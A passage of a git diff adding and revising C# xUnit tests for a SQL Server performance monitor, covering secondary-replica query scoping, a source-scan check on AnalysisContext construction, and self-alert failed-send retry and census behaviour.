+            var withFacts = await DarlingMcpTools.GetAnalysisFacts(service, postgres, ServerName, 4, cancellationToken: ct);
+            using var factsDoc = JsonDocument.Parse(withFacts);
+            Assert.True(factsDoc.RootElement.TryGetProperty("facts", out _), "expected the facts payload, got: " + withFacts[..Math.Min(withFacts.Length, 200)]);
+            Assert.Equal(AgReplicaScope.SkippedNote(1), factsDoc.RootElement.GetProperty("secondary_replica_note").GetString());
+        });
+    }
+
+    [Fact]
+    public async Task GetAnalysisFacts_OnAPrimary_CarriesANullNote()
+    {
+        await WithStoreAsync(async (c, postgres, ct) =>
+        {
+            await SeedAgAsync(c, ct, Now().AddMinutes(-1), localRole: "PRIMARY");
+            for (var m = 5; m <= 55; m += 10) await PlantWaitAsync(c, ct, Now().AddMinutes(-m), 150_000L);
+            var answer = await DarlingMcpTools.GetAnalysisFacts(
+                new DarlingAnalysisService(postgres) { MinimumDataHours = 0 }, postgres, ServerName, 4, cancellationToken: ct);
+            Assert.Null(NoteOf(answer));
+        });
+    }
+
+    /// <summary>M4 (round 1): compare_analysis carries one note per window, each from the role at that window's own end.</summary>
+    [Fact]
+    public async Task CompareAnalysis_CarriesOneNotePerWindow_EachFromItsOwnRole()
+    {
+        await WithStoreAsync(async (c, postgres, ct) =>
+        {
+            var now = Now();
+            var baselineEnd = now.AddHours(-24);
+
+            /* Secondary when the baseline window ended, primary after a failover by the time the comparison window ends. */
+            await SeedAgAsync(c, ct, baselineEnd.AddMinutes(-1));
+            await SeedAgAsync(c, ct, now.AddMinutes(-1), localRole: "PRIMARY");
+            await PlantWaitAsync(c, ct, baselineEnd.AddHours(-1), 500_000L);
+            await PlantWaitAsync(c, ct, now.AddHours(-1), 900_000L);
+
+            var answer = await DarlingMcpTools.CompareAnalysis(
+                new DarlingAnalysisService(postgres) { MinimumDataHours = 0 }, postgres, ServerName, 4, 28, cancellationToken: ct);
+
+            using var doc = JsonDocument.Parse(answer);
+            var root = doc.RootElement;
+            var (baseline, comparison) = root.TryGetProperty("baseline", out var b)
+                ? (b.GetProperty("secondary_replica_note"), root.GetProperty("comparison").GetProperty("secondary_replica_note"))
+                : (root.GetProperty("hints").GetProperty("baseline_secondary_replica_note"), root.GetProperty("hints").GetProperty("comparison_secondary_replica_note"));
+            Assert.Equal(AgReplicaScope.SkippedNote(1), baseline.GetString());
+            Assert.Equal(JsonValueKind.Null, comparison.ValueKind);
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/SecondaryReplicaScopeTests.cs b/Darling/Darling.Tests/SecondaryReplicaScopeTests.cs
new file mode 100644
index 0000000000..99bc1a4b94
--- /dev/null
+++ b/Darling/Darling.Tests/SecondaryReplicaScopeTests.cs
@@ -0,0 +1,277 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5558: <see cref="PgSecondaryReplicaScope"/>'s predicate builder and its fail-open read, with no database. The seeded
+/// twins of Lite's fact tests are in <see cref="SecondaryReplicaScopeLiveTests"/>.
+/// </summary>
+[Trait("Reads", "Lite")]
+public sealed class PgSecondaryReplicaScopeTests
+{
+    private static AnalysisContext ContextWith(params string[] secondaries) => new()
+    {
+        SecondaryReplicaDatabases = new HashSet<string>(secondaries, StringComparer.Ordinal),
+    };
+
+    [Fact]
+    public void Apply_WithNothingToSkip_JustRemovesTheMarker_AndAddsNoParameter()
+    {
+        using var cmd = new NpgsqlCommand("SELECT 1 FROM t WHERE a = $1 /*SEC*/ ORDER BY 1");
+        cmd.Parameters.AddWithValue(1);
+
+        PgSecondaryReplicaScope.Apply(cmd, ContextWith(), "DB_CONFIG", "database_name");
+
+        Assert.DoesNotContain("/*SEC*/", cmd.CommandText, StringComparison.Ordinal);
+        Assert.Equal("SELECT 1 FROM t WHERE a = $1  ORDER BY 1", cmd.CommandText);
+        Assert.Single(cmd.Parameters);
+    }
+
+    [Fact]
+    public void Apply_WithASecondary_BindsTheNamesAsTheyAreAsOneArray_NumberedAfterTheExistingParameters()
+    {
+        using var cmd = new NpgsqlCommand("SELECT 1 FROM t WHERE a = $1 /*SEC*/ ORDER BY 1");
+        cmd.Parameters.AddWithValue(1);
+
+        PgSecondaryReplicaScope.Apply(cmd, ContextWith("SecDb", "OtherDb"), "DB_CONFIG", "database_name");
+
+        Assert.Contains("AND (database_name IS NULL OR database_name <> ALL($2::text[]))", cmd.CommandText, StringComparison.Ordinal);
+        Assert.Equal(2, cmd.Parameters.Count);
+        var names = Assert.IsType<string[]>(cmd.Parameters[1].Value);
+        Assert.Equal(["OtherDb", "SecDb"], names.OrderBy(n => n, StringComparer.Ordinal).ToArray());
+    }
+
+    [Fact]
+    public void Apply_MatchesTheNameExactly_ASecondarySalesDbDoesNotHideASeparateSalesdb()
+    {
+        /* #5558 round 2: on a case-sensitive server collation, SalesDb (a secondary copy) and salesdb (a standalone
+           database) are two databases. The set carries only the secondary's exact name and the predicate compares
+           it as is, so the standalone one keeps its rows. */
+        using var cmd = new NpgsqlCommand("SELECT 1 FROM t WHERE a = $1 /*SEC*/");
+        cmd.Parameters.AddWithValue(1);
+
+        PgSecondaryReplicaScope.Apply(cmd, ContextWith("SalesDb"), "DB_CONFIG", "database_name");
+
+        Assert.Equal(["SalesDb"], Assert.IsType<string[]>(cmd.Parameters[1].Value));
+        Assert.DoesNotContain("lower(", cmd.CommandText, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5558 round 2 (L4): the regressed-queries drill-down has two SQL variants, the raw one and the interval-table one, and
+    /// the live drill-down test runs whichever the seeded store picks. Each must carry the marker exactly once and before its
+    /// <c>LIMIT 5</c>; a variant that lost it would leave <c>Apply</c> binding a parameter nothing references and the filter
+    /// would silently not run there.
+    /// </summary>
+    [Theory]
+    [InlineData("raw")]
+    [InlineData("table")]
+    public void EachRegressedQueriesVariant_CarriesTheMarkerExactlyOnce_BeforeItsLimit(string variant)
+    {
+        var sql = variant == "raw" ? PgDrillDownCollector.RegressedQueriesSql : PgDrillDownCollector.RegressedQueriesTableSql;
+
+        var first = sql.IndexOf(PgSecondaryReplicaScope.Marker, StringComparison.Ordinal);
+        Assert.True(first >= 0, variant + " variant lost the secondary-replica marker");
+        Assert.Equal(-1, sql.IndexOf(PgSecondaryReplicaScope.Marker, first + PgSecondaryReplicaScope.Marker.Length, StringComparison.Ordinal));
+
+        var limit = sql.IndexOf("LIMIT 5", first, StringComparison.Ordinal);
+        Assert.True(limit > first, variant + " variant: the marker must come before its LIMIT 5, so the filter runs before the cut");
+    }
+
+    [Fact]
+    public void Apply_UsesTheKeywordItIsGiven_ForAClauseThatOpensTheWhere()
+    {
+        using var cmd = new NpgsqlCommand("SELECT 1 FROM t /*SEC*/ GROUP BY 1");
+        PgSecondaryReplicaScope.Apply(cmd, ContextWith("SecDb"), "PLAN_REGRESSION", "database_name", "WHERE");
+        Assert.Contains(" WHERE (database_name IS NULL OR database_name <> ALL($1::text[]))", cmd.CommandText, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Apply_LeavesANodeLocalKeyUnfiltered_EvenWithASecondarySet()
+    {
+        using var cmd = new NpgsqlCommand("SELECT 1 FROM t WHERE a = $1 /*SEC*/");
+        cmd.Parameters.AddWithValue(1);
+
+        PgSecondaryReplicaScope.Apply(cmd, ContextWith("SecDb"), "MISSING_INDEX", "database_name");
+
+        Assert.DoesNotContain("/*SEC*/", cmd.CommandText, StringComparison.Ordinal);
+        Assert.DoesNotContain("<> ALL(", cmd.CommandText, StringComparison.Ordinal);
+        Assert.Single(cmd.Parameters);
+    }
+
+    [Fact]
+    public void Apply_WithNoSetOnTheContext_SkipsNothing()
+    {
+        using var cmd = new NpgsqlCommand("SELECT 1 FROM t WHERE a = $1 /*SEC*/");
+        cmd.Parameters.AddWithValue(1);
+
+        PgSecondaryReplicaScope.Apply(cmd, new AnalysisContext(), "DB_CONFIG", "database_name");
+
+        Assert.DoesNotContain("<> ALL(", cmd.CommandText, StringComparison.Ordinal);
+        Assert.Single(cmd.Parameters);
+    }
+
+    [Fact]
+    public async Task ReadAsync_FailsOpen_WhenTheStoreCannotBeReached()
+    {
+        /* A port nothing listens on: the connection fails at once, and the answer is the empty set, not a throw. */
+        await using var unreachable = NpgsqlDataSource.Create(
+            "Host=127.0.0.1;Port=1;Username=x;Database=x;Timeout=2;Pooling=false");
+
+        var set = await PgSecondaryReplicaScope.ReadAsync(unreachable, 1, DateTime.UtcNow, logger: null, CancellationToken.None);
+        Assert.Empty(set);
+
+        Assert.Null(await PgSecondaryReplicaScope.NoteAsync(unreachable, 1, logger: null, CancellationToken.None));
+    }
+
+    [Fact]
+    public async Task EnsureAsync_FillsTheSetOnce_AndLeavesAnAlreadyResolvedSetAlone()
+    {
+        await using var unreachable = NpgsqlDataSource.Create(
+            "Host=127.0.0.1;Port=1;Username=x;Database=x;Timeout=2;Pooling=false");
+
+        var context = new AnalysisContext { ServerId = 1, TimeRangeEnd = DateTime.UtcNow };
+        await PgSecondaryReplicaScope.EnsureAsync(unreachable, context, logger: null);
+        Assert.NotNull(context.SecondaryReplicaDatabases);
+        Assert.Empty(context.SecondaryReplicaDatabases!);
+
+        var resolved = new HashSet<string>(StringComparer.Ordinal) { "SecDb" };
+        var already = new AnalysisContext { ServerId = 1, SecondaryReplicaDatabases = resolved };
+        await PgSecondaryReplicaScope.EnsureAsync(unreachable, already, logger: null);
+        Assert.Same(resolved, already.SecondaryReplicaDatabases);
+    }
+
+    [Fact]
+    public void NoneSkipped_IsEmpty()
+    {
+        Assert.Empty(PgSecondaryReplicaScope.NoneSkipped);
+    }
+}
+
+/// <summary>
+/// #5558: every <c>new AnalysisContext</c> in the product code resolves the secondary replica set, either in its own
+/// initializer or through <c>EnsureAsync</c> on the variable it is assigned to. A context built without it leaves
+/// <see cref="AnalysisContext.SecondaryReplicaDatabases"/> null, which skips nothing, so the replicated findings of a
+/// secondary copy would quietly come back for that one pass. A pass that reads only node-local facts says so by setting the
+/// empty set on purpose. Scans Lite and Darling; test projects build contexts freely and are not scanned.
+/// </summary>
+[Trait("Reads", "Lite")]
+public sealed class AnalysisContextSecondaryScopeSourceScanTests
+{
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile)!;
+        while (dir is not null && !File.Exists(Path.Combine(dir, "Directory.Build.props")))
+            dir = Path.GetDirectoryName(dir);
+        Assert.False(dir is null, "could not locate the repo root from the test source path");
+        return dir!;
+    }
+
+    private static IEnumerable<string> ProductSources(string root)
+    {
+        foreach (var top in new[] { "Lite", "Darling" })
+        {
+            foreach (var file in Directory.EnumerateFiles(Path.Combine(root, top), "*.cs", SearchOption.AllDirectories))
+            {
+                var relative = Path.GetRelativePath(root, file).Replace('\\', '/');
+                if (relative.Contains("/bin/") || relative.Contains("/obj/") || relative.Contains(".Tests/")) continue;
+                yield return file;
+            }
+        }
+    }
+
+    [Fact]
+    public void EveryAnalysisContextInTheProduct_ResolvesTheSecondaryReplicaSet()
+    {
+        var root = RepoRoot();
+        var construction = new Regex(@"(?:var\s+(?<name>\w+)\s*=\s*)?new\s+AnalysisContext\b", RegexOptions.CultureInvariant);
+        var missing = new List<string>();
+        var sites = 0;
+
+        /* The end of the member a construction sits in: the next closing brace at member indentation (4 spaces).
+           Each site is judged on its own text, so a second context in a file that already ensures a variable of the
+           same name cannot borrow the first one's call. */
+        var memberEnd = new Regex(@"\n    \}[ \t]*\n", RegexOptions.CultureInvariant);
+
+        foreach (var file in ProductSources(root))
+        {
+            var text = File.ReadAllText(file).Replace("\r\n", "\n");
+            foreach (Match m in construction.Matches(text))
+            {
+                sites++;
+                var end = memberEnd.Match(text, m.Index);
+                var limit = end.Success ? end.Index : text.Length;
+                var member = text[m.Index..limit];
+                /* The initializer's closing brace is searched only up to the member's end: an inline construction
+                   such as Foo(new AnalysisContext { ... }); closes with "})", and an unbounded search would run on into
+                   a LATER construction's initializer and borrow its SecondaryReplicaDatabases setting (#5558 round 2). */
+                var close = text.IndexOf("};", m.Index, limit - m.Index, StringComparison.Ordinal);
+                var initializer = close < 0 ? member : text[m.Index..close];
+                var name = m.Groups["name"].Value;
+                var inInitializer = initializer.Contains("SecondaryReplicaDatabases", StringComparison.Ordinal);
+                var ensured = name.Length > 0 && Regex.IsMatch(member, @"SecondaryReplicaScope\.EnsureAsync\([^)]*\b" + Regex.Escape(name) + @"\b");
+
+                /* A context handed straight to AnalyzeAsync(context) is resolved by that overload, provided the overload
+                   itself ensures the set it receives (checked on the same file's declaration, so the hand-off cannot
+                   be a loophole). */
+                if (!inInitializer && !ensured && name.Length > 0 && Regex.IsMatch(member, @"\bAnalyzeAsync\(\s*" + Regex.Escape(name) + @"\s*\)"))
+                {
+                    var overload = Regex.Match(text, @"AnalyzeAsync\(AnalysisContext (?<p>\w+)\)");
+                    if (overload.Success)
+                    {
+                        var overloadEnd = memberEnd.Match(text, overload.Index);
+                        var body = overloadEnd.Success ? text[overload.Index..overloadEnd.Index] : text[overload.Index..];
+                        ensured = Regex.IsMatch(body, @"SecondaryReplicaScope\.EnsureAsync\([^)]*\b" + overload.Groups["p"].Value + @"\b");
+                    }
+                }
+                if (!inInitializer && !ensured)
+                {
+                    var line = text[..m.Index].Count(c => c == '\n') + 1;
+                    missing.Add(Path.GetRelativePath(root, file).Replace('\\', '/') + ":" + line);
+                }
+            }
+        }
+
+        Assert.True(sites >= 10, "the scan found only " + sites + " construction sites, so its pattern no longer matches the code");
+        Assert.True(missing.Count == 0,
+            "an AnalysisContext that never resolves SecondaryReplicaDatabases would bring back a secondary copy's findings: " + string.Join(", ", missing));
+    }
+}
+
+/// <summary>#5558: the viewer Recommendations view model carries the note only where a list or the all-clear shows.</summary>
+[Trait("Reads", "Lite")]
+public sealed class RecommendationsReplicaNoteTests
+{
+    [Fact]
+    public void TheNote_IsCarriedOnTheEmptyAndLoadedStates_AndNullWhenNotSet()
+    {
+        var empty = RecommendationsViewModel.FromFindings(Array.Empty<ViewerFindingRow>(), "SQL2022");
+        Assert.Null(empty.ReplicaNote);
+
+        var note = AgReplicaScope.SkippedNote(2);
+        Assert.Equal(note, empty.WithReplicaNote(note).ReplicaNote);
+        Assert.Same(empty, empty.WithReplicaNote("  "));
+        Assert.Null(empty.ReplicaNote);
+        Assert.Equal(RecommendationsState.Empty, empty.State);
+    }
+}
diff --git a/Darling/Darling.Tests/SelfAlertDeliveryStampTests.cs b/Darling/Darling.Tests/SelfAlertDeliveryStampTests.cs
index dc001f3178..5ec157dbc4 100644
--- a/Darling/Darling.Tests/SelfAlertDeliveryStampTests.cs
+++ b/Darling/Darling.Tests/SelfAlertDeliveryStampTests.cs
@@ -427,7 +427,7 @@ public void TheWorkerStampsTheHourlyTickAndTheFleetSweep_OnTheGrid()
         var worker = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs")
             .Replace("\r\n", "\n", StringComparison.Ordinal);
 
-        const string hourly = "_nextStoreMetricsUtc = NextGridStamp(_nextStoreMetricsUtc, DateTime.UtcNow, s_storeMetricsInterval);";
+        const string hourly = "_nextStoreMetricsUtc = NextGridStamp(_nextStoreMetricsUtc, nowUtc, s_storeMetricsInterval);";
         const string sweep = "_nextFleetSweepUtc = NextGridStamp(_nextFleetSweepUtc, DateTime.UtcNow, TimeSpan.FromMinutes(fleetSweepMinutes));";
         Assert.Equal(1, worker.Split(hourly).Length - 1);
         Assert.Equal(1, worker.Split(sweep).Length - 1);
diff --git a/Darling/Darling.Tests/SelfAlertFailedSendCensusTests.cs b/Darling/Darling.Tests/SelfAlertFailedSendCensusTests.cs
index e280492a6c..241afe7987 100644
--- a/Darling/Darling.Tests/SelfAlertFailedSendCensusTests.cs
+++ b/Darling/Darling.Tests/SelfAlertFailedSendCensusTests.cs
@@ -34,6 +34,7 @@ namespace Darling.Tests;
 /// <c>AfterSelfFire</c> arm pins the metric and the interval the arm passes, because the interval is the one
 /// argument a wrong copy would leave compiling: the back-dated stamp then opens the arm's gate at the wrong time.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class SelfAlertFailedSendCensusTests
 {
     private const string RestoreNotice =
@@ -41,6 +42,10 @@ public sealed class SelfAlertFailedSendCensusTests
 
     private const string ArmHandOff = "AfterSelfFire";
     private const string RetryHandOff = "NoteRetrySend";
+
+    /* #5493: the lasting-state self-alerts hand their answer to the state alert tracker (NoteStateSend(metric, grain, answer)),
+       which is NoteRetrySend over the shared state retries. */
+    private const string StateHandOff = "NoteStateSend";
     private const string DocumentHandOff = "RecordDocumentDeliveredAsync";
 
     /// <summary>
@@ -56,10 +61,14 @@ public sealed class SelfAlertFailedSendCensusTests
             ["ApplyAgReplicaHealthAsync"] = (1, RestoreNotice),
             ["EvaluateStoreUpgradeAsync"] =
                 (2, "one notice per service start about the start's own upgrade: an event, never re-evaluated, so nothing to fire again"),
+            ["EvaluateCollectionGapAtStartAsync"] =
+                (1, "one notice per service start about the gap before the start: an event, never re-evaluated, so nothing to fire again"),
             ["EvaluateStoreTimescaleAsync"] =
                 (1, "one notice per service start about the start's own extension update: an event, never re-evaluated"),
             ["ApplyNotificationChannelsAsync"] =
                 (1, "the failing-channel notice is stated once when the policy decides it; the next decision is the channel's recovery"),
+            ["GiveUpOnHistoryAuditDayAsync"] =
+                (1, "the history audit gave up on a day at the next day's slot: the day is not audited again, so there is no later tick to send it on, and the stamp that matters is the new slot's own"),
             ["ApplyPolicyJobsStuckAsync"] =
                 (1, "the auto-re-armed notice is a state-machine edge: the next pass escalates or records the recovery, and neither is gated by a stamp"),
         };
@@ -74,6 +83,7 @@ public sealed class SelfAlertFailedSendCensusTests
         "ApplyCollectorCostDigestAsync",
         "ApplyFleetSweepRollupAsync",
         "ApplyAnalysisSinglesDigestAsync",
+        "ApplyCollectionHistoryAuditAsync",
     };
 
     /// <summary>The evaluator's source with comments and literal text blanked (offsets and newlines kept), read
@@ -91,7 +101,7 @@ public sealed class SelfAlertFailedSendCensusTests
         @"\bawait\s+FireAsync\(", RegexOptions.CultureInvariant);
 
     private static readonly Regex HandOffCall = new(
-        @"\b(?<callee>" + ArmHandOff + "|" + RetryHandOff + "|" + DocumentHandOff + @")\s*\(",
+        @"\b(?<callee>" + ArmHandOff + "|" + RetryHandOff + "|" + StateHandOff + "|" + DocumentHandOff + @")\s*\(",
         RegexOptions.CultureInvariant);
 
     /// <summary>One <c>await FireAsync(</c> in code (not in a comment or a literal): where it is, its enclosing
@@ -235,7 +245,9 @@ private static List<string> CallArguments(string code, int open)
     /// <summary>Whether <paramref name="callee"/> is the call that acts on a send's answer in
     /// <paramref name="method"/>: the document stamp for a daily document, the retry hand-offs for every arm.</summary>
     private static bool IsHandOffFor(string method, string callee) =>
-        Digests.Contains(method) ? callee == DocumentHandOff : callee is ArmHandOff or RetryHandOff;
+        /* #5493: NoteStateSend is the state alerts' hand-off and forwards to NoteRetrySend; that forwarding is not a send's hand-off. */
+        method != StateHandOff
+        && (Digests.Contains(method) ? callee == DocumentHandOff : callee is ArmHandOff or RetryHandOff or StateHandOff);
 
     /// <summary>The hand-off that receives <paramref name="site"/>'s answer: the first one in the same method
     /// after the call and before the method's next <c>FireAsync</c>, or null when there is none. A hand-off that
@@ -268,7 +280,8 @@ public void TheCensusFindsTheSends_AndTheMethodsThatMakeThem()
         var handOffs = HandOffs(EvaluatorCode.Value);
 
         Assert.True(
-            handOffs.Count(h => h.Callee == ArmHandOff) >= 15 && handOffs.Count(h => h.Callee == RetryHandOff) >= 3,
+            handOffs.Count(h => h.Callee == ArmHandOff) >= 6 && handOffs.Count(h => h.Callee == RetryHandOff) >= 3
+            && handOffs.Count(h => h.Callee == StateHandOff) >= 11,
             $"expected the evaluator's AfterSelfFire and NoteRetrySend calls, found {handOffs.Count} hand-off(s) in all");
         Assert.DoesNotContain(handOffs, h => h.Method == "");
         Assert.All(handOffs, h => Assert.NotEmpty(h.Arguments));
@@ -373,7 +386,7 @@ a hand-off whose send was dropped leaves it long. */
 
             if (kept.Count != handed.Count)
             {
-                var callees = Digests.Contains(method) ? DocumentHandOff : $"{ArmHandOff} or {RetryHandOff}";
+                var callees = Digests.Contains(method) ? DocumentHandOff : $"{ArmHandOff}, {RetryHandOff} or {StateHandOff}";
 
                 problems.Add(
                     $"{method} keeps {kept.Count} FireAsync answer(s) (lines {string.Join(", ", kept.Select(s => s.Line))}) "
@@ -417,22 +430,15 @@ the local the send landed in. A local that nothing reads is a kept answer nobody
     /// hand-off with the wrong interval still compiles, and back-dates the stamp so the gate opens early or never.
     /// </summary>
     [Theory]
-    [InlineData("ApplyAgDatabaseHealthAsync", 1, "AgSyncFellBehindMetric", "SharedCooldown")]
     [InlineData("ApplyDiskPressureAsync", 0, "DiskPressureMetric", "SharedCooldown")]
-    [InlineData("ApplyCustomRuleHealthAsync", 0, "CustomRuleHealthMetric", "SharedCooldown")]
     [InlineData("ApplyStaleMuteRulesAsync", 0, "StaleMuteMetric", "StaleMuteRefire")]
     [InlineData("ApplyStoreSettingsAsync", 0, "StoreSettingsMetric", "StoreSettingsRefire")]
-    [InlineData("ApplyWebTlsCertificateAsync", 0, "WebTlsCertExpiryMetric", "WebTlsCertRefire")]
-    [InlineData("ApplyFleetGateAsync", 0, "FleetGateMetric", "SharedCooldown")]
-    [InlineData("ApplyStoreJobCadenceAsync", 0, "JobCadenceMetric", "SharedCooldown")]
-    [InlineData("ApplyRetentionHoldsAsync", 0, "RetentionHoldMetric", "SharedCooldown")]
-    [InlineData("ApplyRawPurgeOverHorizonAsync", 0, "RawPurgeOverHorizonMetric", "SharedCooldown")]
+    /* #5288: the web and MCP certificate alerts are one body, ApplyListenerTlsCertificateAsync, which fires and
+       reports under its listener descriptor's metric (the band.Metric precedent below), so ONE row covers both
+       listeners. The interval is still the shared daily WebTlsCertRefire. */
+    [InlineData("ApplyListenerTlsCertificateAsync", 0, "tls.ExpiryMetric", "WebTlsCertRefire")]
     [InlineData("ApplyToastSlackAsync", 0, "ToastSlackMetric", "ToastSlackRefire")]
     [InlineData("ApplyCheckpointerPressureAsync", 0, "CheckpointerPressureMetric", "SharedCooldown")]
-    [InlineData("ApplyPolicyJobsStuckAsync", 0, "band.Metric", "SharedCooldown")]
-    [InlineData("ApplyPolicyJobsStuckAsync", 1, "band.Metric", "SharedCooldown")]
-    [InlineData("ApplyPolicyJobsStuckAsync", 2, "band.Metric", "SharedCooldown")]
-    [InlineData("ApplyPolicyJobsStuckAsync", 3, "band.Metric", "SharedCooldown")]
     public void ArmHandsItsSendsAnswerToAfterSelfFire_WithItsOwnMetricAndInterval(
         string method, int send, string metric, string interval)
     {
@@ -459,4 +465,47 @@ public void ArmHandsItsSendsAnswerToAfterSelfFire_WithItsOwnMetricAndInterval(
         Assert.True(arguments[4] == interval, $"{method} line {handOff.Line}: AfterSelfFire passes {arguments[4]} as the interval, not {interval}");
         Assert.True(arguments[5] == site.Variable, $"{method} line {handOff.Line}: AfterSelfFire is given {arguments[5]}, not the answer kept at line {site.Line} ({site.Variable})");
     }
+
+    /// <summary>
+    /// #5493: one case per lasting-state self-alert. Its send's answer goes to <c>NoteStateSend(metric, grain,
+    /// answer)</c>, which keeps the failed-send retry on the shared state retries; there is no cooldown stamp to
+    /// back-date, because the alert repeats only per <c>connection_refire_minutes</c> (or to send again an alert no
+    /// channel took). The send carries the metric, and the hand-off reports under that same metric and takes that
+    /// send's own answer.
+    /// </summary>
+    [Theory]
+    [InlineData("ApplyCaptureDownAsync", 0, "CaptureDownMetric")]
+    [InlineData("ApplyAgentNotRunningAsync", 0, "AgentDownMetric")]
+    [InlineData("ApplyAgDatabaseHealthAsync", 1, "AgSyncFellBehindMetric")]
+    [InlineData("ApplyCustomRuleHealthAsync", 0, "CustomRuleHealthMetric")]
+    [InlineData("ApplyFleetGateAsync", 0, "FleetGateMetric")]
+    [InlineData("ApplyStoreJobCadenceAsync", 0, "JobCadenceMetric")]
+    [InlineData("ApplyRetentionHoldsAsync", 0, "RetentionHoldMetric")]
+    [InlineData("ApplyRawPurgeOverHorizonAsync", 0, "RawPurgeOverHorizonMetric")]
+    [InlineData("ApplyPolicyJobsStuckAsync", 0, "band.Metric")]
+    [InlineData("ApplyPolicyJobsStuckAsync", 1, "band.Metric")]
+    [InlineData("ApplyPolicyJobsStuckAsync", 2, "band.Metric")]
+    [InlineData("ApplyPolicyJobsStuckAsync", 3, "band.Metric")]
+    public void StateAlertHandsItsSendsAnswerToNoteStateSend_WithItsOwnMetric(string method, int send, string metric)
+    {
+        var code = EvaluatorCode.Value;
+        var sites = FireSites(code);
+        var kept = sites.Where(s => s.Method == method && s.KeepsResult).ToList();
+
+        Assert.True(send < kept.Count, $"{method} keeps {kept.Count} FireAsync answer(s); this case names send {send}");
+
+        var site = kept[send];
+        var sent = CallArguments(code, code.IndexOf('(', site.Index));
+        Assert.True(sent.Count > 2 && sent[2] == metric, $"{method} send {send} (line {site.Line}) carries {(sent.Count > 2 ? sent[2] : "no metric")}, not {metric}");
+
+        var handOff = HandOffFollowing(site, sites, HandOffs(code));
+        Assert.True(handOff is not null, $"{method} send {send} (line {site.Line}) is not handed to NoteStateSend before the method's next send");
+        Assert.True(handOff.Callee == StateHandOff, $"{method} send {send} (line {site.Line}) is handed to {handOff.Callee}, not NoteStateSend");
+
+        /* NoteStateSend(metric, grainKey, delivery) */
+        var arguments = handOff.Arguments;
+        Assert.True(arguments.Count == 3, $"{method} line {handOff.Line}: NoteStateSend takes 3 arguments, found {arguments.Count}");
+        Assert.True(arguments[0] == metric, $"{method} line {handOff.Line}: NoteStateSend reports under {arguments[0]}, not {metric}");
+        Assert.True(arguments[2] == site.Variable, $"{method} line {handOff.Line}: NoteStateSend is given {arguments[2]}, not the answer kept at line {site.Line} ({site.Variable})");
+    }
 }
diff --git a/Darling/Darling.Tests/SelfAlertFailedSendRetryTests.cs b/Darling/Darling.Tests/SelfAlertFailedSendRetryTests.cs
index 80543bc62f..ca428c962d 100644
--- a/Darling/Darling.Tests/SelfAlertFailedSendRetryTests.cs
+++ b/Darling/Darling.Tests/SelfAlertFailedSendRetryTests.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 using PerformanceMonitor.Alerting;
@@ -53,6 +54,15 @@ public enum Arm
         Arm.CollectionStopped, Arm.CaptureDown, Arm.AgentDown, Arm.CostRegression,
     };
 
+    /* #5489: Collection Stopped is a state alert now, so a delivered fire is NOT repeated after the cooldown (see
+       CollectionStoppedStateAlertTests). #5493 did the same for Capture Down and Agent Not Running (see
+       StateSelfAlertTests). The two tests below that pin "a delivered fire waits the whole cooldown and then fires
+       again" run for the one arm left that repeats per cooldown: the cost regression, a threshold alert. */
+    public static TheoryData<Arm> CooldownRepeatArms => new()
+    {
+        Arm.CostRegression,
+    };
+
     /* The delivery shapes the channels really produce, as PgAlertFailedSendRetryTests and AlertEngineTests build
        them: the deliverer answers these same values for a self-alert. */
     private static AlertDelivery FailedByWebhook() => AlertDelivery.FromFanout(
@@ -103,10 +113,16 @@ private sealed class Rig
         public Rig()
         {
             Evaluator = new DarlingSelfAlertEvaluator(
-                Settings, Deliverer, new DarlingSelfAlertTests.FakeHistoryStore(), _ => false,
-                logger: new DarlingSelfAlertTests.CapturingLogger(), utcNow: () => Now);
+                Settings, Deliverer, History, _ => false,
+                logger: new DarlingSelfAlertTests.CapturingLogger(), utcNow: () => Now,
+                connectionRefireMinutes: () => ConnectionRefireMinutes);
         }
 
+        public DarlingSelfAlertTests.FakeHistoryStore History { get; } = new();
+
+        /// <summary>#5489: connection_refire_minutes, read live per sweep like the shipped seam. 0 = off.</summary>
+        public int ConnectionRefireMinutes { get; set; }
+
         public DarlingSelfAlertTests.FakeSettings Settings { get; } = new() { CooldownMinutes = 5 };
 
         public ScriptedDeliverer Deliverer { get; } = new();
@@ -183,7 +199,7 @@ public async Task EachFurtherFailure_DoublesTheWait_AndNeverPassesTheCooldown(Ar
     }
 
     [Theory]
-    [MemberData(nameof(Arms))]
+    [MemberData(nameof(CooldownRepeatArms))]
     public async Task ADeliveredFire_WaitsTheFullCooldown(Arm arm)
     {
         var rig = new Rig { Deliverer = { Answer = DeliveredByWebhook() } };
@@ -202,7 +218,7 @@ public async Task ADeliveredFire_WaitsTheFullCooldown(Arm arm)
     }
 
     [Theory]
-    [MemberData(nameof(Arms))]
+    [MemberData(nameof(CooldownRepeatArms))]
     public async Task ARetryThatIsDelivered_WaitsTheFullCooldown_AndTheNextFailureStartsAtAMinute(Arm arm)
     {
         var rig = new Rig { Deliverer = { Answer = FailedByWebhook() } };
@@ -281,4 +297,120 @@ public async Task ACostRegressionMarker_GoesBackToItsPriorValue_NotToNothing_Whe
         await rig.SweepAsync(Arm.CostRegression, FirstDataPoint);
         Assert.Equal(3, rig.Fires);
     }
+
+    /* ---------------- #5489: Collection Stopped is a state alert ---------------- */
+
+    [Fact]
+    public async Task CollectionStopped_StoppedAcrossManyCooldowns_WithRefireOff_AlertsExactlyOnce()
+    {
+        var rig = new Rig { Deliverer = { Answer = DeliveredByWebhook() } };
+
+        /* 12 cooldowns (an hour) of a standing outage, one sweep a minute. */
